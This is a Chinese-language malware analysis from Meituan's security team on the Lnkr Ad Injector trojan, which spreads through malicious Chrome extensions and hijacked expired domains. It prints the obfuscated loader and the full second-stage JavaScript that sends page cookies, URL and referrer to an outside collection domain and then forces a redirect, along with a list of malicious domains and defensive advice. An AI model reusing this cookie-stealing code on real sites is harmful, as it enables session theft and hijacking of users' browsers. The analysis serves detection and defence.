隐藏在浏览器背后的“黑手”
// 文丨陶琦
笔者具有多年信息安全行业从业经验,目前在美团致力于研发安全体系建设。
一、事件概述
2020年10月,美团安全运营平台发现流量中存在恶意JavaScript请求,信息安全部收到告警后立即开始应急处理,通过对网络环境、访问日志等进行排查,最终锁定恶意请求由Chrome浏览器安装恶意插件引起,该恶意JavaScript文件会窃取Cookie并强制用户跳转到恶意色情站点、推广链接等,结合美团威胁情报大数据,发现该插件与Lnkr Ad Injector木马特征吻合。
此类木马传播方式多样,会通过浏览器插件、Broken Link Hijacking等方式在页面中植入恶意代码,不仅严重影响用户正常访问还会窃取用户数据。经追踪分析发现,多个国内大型互联网站点(Alexa全球排名前600)被感染,影响上亿网民的上网安全,建议各大平台对自身系统第三方加载源以及内部终端设备进行检查,避免遭受此类木马攻击。
二、溯源过程
2.1 安全运营平台发出异常告警
Chrome沙箱监测到恶意JavaScript文件,发出异常告警:
通过告警信息判断基本的攻击行为是:
用户访问正常页面;
页面加载外部JavaScript文件(A):
http://s3.amazonaws.com/js-static/18ced489204f8ff908.js;
A加载第二个JavaScript文件(B):
http://countsource.cool/18ced489204f8ff908.js;
B包含恶意代码,向远程域名发送Cookie等敏感信息。
2.2 分析攻击路径
根据告警中涉及的触发页面、相关网络环境信息,排除流量劫持、XSS攻击等情况,猜测可能的原因为浏览器插件或恶意软件导致。
通过沙箱对问题设备上所有Chrome插件进行分析,发现一个名为Vysor的Chrome插件代码存在恶意行为,检测结果如下:
(*注:向左滑动可展示完整代码,全文通用)
1{
2 "call_window_location": {
3 "info": "get document.location",
4 "capture": []
5 },
6 "call_document_createElement": {
7 "info": "call document.createElement, create script element",
8 "capture": [
9 "create element elementName:FIELDSET",
10 "create element elementName:FIELDSET",
11 "create element elementName:FIELDSET",
12 "create element elementName:FIELDSET",
13 "create element elementName:FIELDSET",
14 "create element elementName:INPUT",
15 "create element elementName:FIELDSET",
16 "create element elementName:FIELDSET",
17 "create element elementName:FIELDSET",
18 "create element elementName:FIELDSET",
19 "create element elementName:FIELDSET",
20 "create element elementName:SCRIPT",
21 "create element elementName:LINK"
22 ]
23 },
24 "call_document_removeChild": {
25 "info": "call document.removeChild",
26 "capture": [
27 "remove element {elementName:fieldset}",
28 "remove element {elementName:fieldset}",
29 "remove element {elementName:fieldset}"
30 ]
31 },
32 "set_scriptSrcValue": {
33 "info": "set script src unsafe value",
34 "capture": [
35 "//s3.amazonaws.com/js-static/18ced489204f8ff908.js"
36 ]
37 }
38}
可以看到插件代码创建了script标签,然后将script标签的src属性设置为:
//s3.amazonaws.com/js-static/18ced489204f8ff908.js。
2.3 插件恶意代码分析
为了进一步研究该组织木马的特征,我们对该恶意插件的代码进行了人工分析。恶意插件的代码量较大,结构混乱,包含大量干扰代码。
首先恶意代码预先设置了许多无明显意义的字符串,用于构造Payload。
这些字符串通过下面方法的一系列转换最终构造出创建script标签的语句 document['createElement']('script'),doctype即为创建出来的script对象。
接下来为script对象的src属性赋值,在addHandler方法中,cl这个参数由elem传递过来,其中包含src字符串,通过cl[0].split('>').slice(2, 3)拿到关键字src,tag是上文的doctype变量也就是script对象,在构造src值这部分,可以看到在常量中有一串一部分很像是base64的字符串:
1mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t
恶意代码利用该字符串结合其他预设变量进行一系列转换,最终形成base64后的加载地址:
PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:
通过createLinkPseudo方法解base64,经过replace后形成恶意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js;
s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是加载下一层的恶意Javascript文件(//countsource.cool/18ced489204f8ff908.js),代码如下:
1(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;
//countsource.cool/18ced489204f8ff908.js文件内容为:
1(function () {
2 function initXMLhttp() {
3 var xmlhttp;
4 if (window.XMLHttpRequest) {
5 xmlhttp = new XMLHttpRequest();
6 } else {
7 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
8 }
9 return xmlhttp;
10 }
11
12 function minAjax(config) {
13 if (!config.url) {
14 return;
15 }
16 if (!config.type) {
17 return;
18 }
19 if (!config.method) {
20 config.method = true;
21 }
22 if (!config.debugLog) {
23 config.debugLog = false;
24 }
25 var sendString = [],
26 sendData = config.data;
27 if (typeof sendData === "string") {
28 var tmpArr = String.prototype.split.call(sendData, '&');
29 for (var i = 0, j = tmpArr.length; i < j; i++) {
30 var datum = tmpArr[i].split('=');
31 sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
32 }
33 } else if (typeof sendData === 'object' && !(sendData instanceof String)) {
34 for (var k in sendData) {
35 var datum = sendData[k];
36 if (Object.prototype.toString.call(datum) == "[object Array]") {
37 for (var i = 0, j = datum.length; i < j; i++) {
38 sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
39 }
40 } else {
41 sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
42 }
43 }
44 }
45 sendString = sendString.join('&');
46 if (window.XDomainRequest) {
47 var xmlhttp = new window.XDomainRequest();
48 xmlhttp.onload = function () {
49 if (config.success) {
50 config.success(xmlhttp.responseText);
51 }
52 };
53 xmlhttp.open("POST", config.url);
54 xmlhttp.send(sendString);
55 } else {
56 var xmlhttp = initXMLhttp();
57 xmlhttp.onreadystatechange = function () {
58 if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
59 if (config.success) {
60 config.success(xmlhttp.responseText, xmlhttp.readyState);
61 }
62 } else {}
63 }
64 if (config.type == "GET") {
65 xmlhttp.open("GET", config.url + "?" + sendString, config.method);
66 xmlhttp.send();
67 }
68 if (config.type == "POST") {
69 xmlhttp.open("POST", config.url, config.method);
70 xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
71 xmlhttp.send(sendString);
72 }
73 }
74 }
75 dL();
76
77 function dL() {
78 var host = 'http://press.cdncontentdelivery.com/f';
79 var config = {
80 url: host + "/stats.php",
81 type: "POST",
82 data: {
83 vbase: document.baseURI,
84 vhref: location.href,
85 vref: document.referrer,
86 k: "Y291bnRzb3VyY2UuY29vbA==",
87 ck: document.cookie,
88 t: Math.floor(new Date().getTime() / 1000),
89 tg: ""
90 },
91 success: onSuccessCallback
92 };
93
94 function bl(resp) {
95 ! function (dr) {
96 function t() {
97 return !!localStorage && localStorage.getItem(a)
98 }
99
100 function e() {
101 o(),
102 parent.top.window.location.href = c
103 }
104
105 function o() {
106 var t = r + i;
107 if (localStorage) {
108 localStorage.setItem(a, t)
109 }
110 }
111
112 function n() {
113 if (t()) {
114 var o = localStorage && localStorage.getItem(a);
115 r > o && e()
116 } else e()
117 }
118 var a = "MenuIdentifier",
119 r = Math.floor((new Date).getTime() / 1e3),
120 c = dr,
121 i = 86400;
122 n()
123 }(resp);
124 }
125
126 function onSuccessCallback(response) {
127 if (response && response.indexOf('http') > -1) {
128 bl(response);
129 }
130 }
131 minAjax(config);
132 }
133})();
该文件是真正实现恶意行为的代码,这部分代码没有经过混淆、加密,也没有加入其他无意义的代码干扰分析,可以很清晰地看到其恶意行为:
获取当前页面Cookie,ck参数;
获取当前页面Referrer;
获取当前页面Location;
使用XMLHttpRequest将获取到的数据发送到:
http://press.cdncontentdelivery.com/f/stats.php;
利用onSuccessCallback方法进行跳转。
至此实现了将Cookie发送到远端接收地址,后续通过onSuccessCallback返回内容完成跳转,完整流程:
2.4 通过已发现的IoC深入排查
通过上述特征,发现大量与Lnkr木马相关的域名和插件,部分并未出现在已知的威胁情报中,经进一步分析发现,移动终端设备也有触发恶意请求的情况。
除此之外我们也发现国内多个大型站点在自身引用资源上引入了Lnkr木马,用户如果访问到这些站点,Cookie信息会被直接发送到远端,存在极高的安全风险。针对站点自身存在恶意资源的这类情况,极有可能是攻击者利用Broken Link Hijacking的攻击手法,对过期域名进行抢注,站点在访问原有资源时被劫持到恶意资源。
三、总结
3.1 恶意域名
以下列举了此次检测发现的恶意域名:
mirextpro.com
browfileext.com
nextextlink.com
lisegreen.biz
makesure.biz
clipsold.com
comtakelink.xyz
protesidenext.com
promfflinkdev.com
rayanplug.xyz
countsource.cool
blancfox.com
skipush1.bbn.com.cn
donewrork.org
loungesrc.net
higedev.cool
s3.amazonaws.com/cashe-js/
s3.amazonaws.com/js-cache/
s3.amazonaws.com/jsfile/
s3.amazonaws.com/cashe-js/
cdngateway.net (接收Cookie域名)
sslproviders.net (接收Cookie域名)
cdncontentdelivery.com (接收Cookie域名)
3.2 恶意插件
排查到包含Lnkr木马特征的恶意插件:
部分恶意插件截图:
四、复盘
Lnkr木马所造成的危害有哪些?
Lnkr木马的核心域名之一cdngateway.net在全球域名流量排名8900位,从流量来源角度,通过外部网站跳转带来的流量占比总流量的65.48%,可见其攻击范围极广,受其影响的应用、用户数量也是非常庞大的。
此类木马对外部用户和内部员工访问同时具有严重危害。
在外部用户方面,如果企业没有严格控制系统第三方资源加载,黑产利用Broken Link Hijacking的攻击手法,致使业务系统加载资源时被劫持植入恶意代码,将严重影响用户体验、信息安全和企业形象。
从内部员工角度,传统杀软、EDR等终端安全设备并不能很好地识别出此类恶意插件,攻击者通过传播恶意浏览器插件控制员工浏览器加载远程恶意资源,不仅仅可以用于广告注入,相较于针对浏览器的其他攻击方式,可以达到更稳定,触发面更广的敏感信息窃取、内网探测等,在CSP历史阻断的恶意请求中,我们也发现除窃取Cookie信息外,也存在恶意代码窃取页面文本信息的情况,这些文本信息在企业内部平台中,极有可能包含大量用户,订单等敏感信息。
如何发现此类恶意木马植入?
针对恶意浏览器插件,在检测方面对其代码做静态分析成本比较大,触发恶意请求的Payload都是通过大量编码转换、拼接、正则匹配等构造而成、且经过了很多没有实际意义的方法,在动态分析方面,由于Chrome插件代码会调用Chrome后台API,在常规沙箱环境中可能会出现无法调用API而中途报错退出。分析中还发现,很多恶意行为需要触发特定事件才能进入到构造恶意Payload流程,如触发chrome.tabs.onUpdated等。
对于浏览器插件安全,可以通过以下方式进行检测及防护:
禁止安装未在Chrome应用商店上线的插件(公司内部开发的插件除外);
对插件manfiest.json文件进行轻量级的排查,manfiest.json文件中申请权限相对敏感,如Cookie、tabs、webRequest等等;
利用内容安全策略(CSP)对应用页面发起的请求进行拦截或监控,集合静态与动态分析技术,判断JavaScript文件行为;
利用浏览器沙箱与EDR,定期对浏览器插件进行扫描;
构建网络层的检测能力,发现有恶意请求及时应急处理。
对于业务系统自身是否加载恶意资源方面:
严格控制系统加载的第三方资源;
通过内容安全策略(CSP)对页面触发的请求进行拦截或监控。
目前团队正在努力打造语言虚拟机—基础服务—上层应用的纵深应用安全体系,急需对研发安全感兴趣的同学加入!如果你正好有求职意向且满足以下岗位要求,欢迎投递简历至sunny.fang@meituan.com(邮件主题请注明:【研发安全专家-城市-美团SRC】)。
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 习近平拉美之行的三个“一” 7953787
- 2 山里藏价值6000亿元黄金?村民发声 7996930
- 3 微信或史诗级“瘦身” 内存有救了 7819727
- 4 中国主张成为G20峰会的一抹亮色 7741318
- 5 朝鲜将军队提升至战斗准备状态 7692368
- 6 男子求助如何打开亡父遗留14年手机 7556152
- 7 浙大贫困生晒旅游照 民政局回应 7462711
- 8 黄晓明新片上映一周票房仅400万 7335712
- 9 男子抱3个小孩跳海?官方通报 7252698
- 10 千年古镇“因网而变、因数而兴” 7127711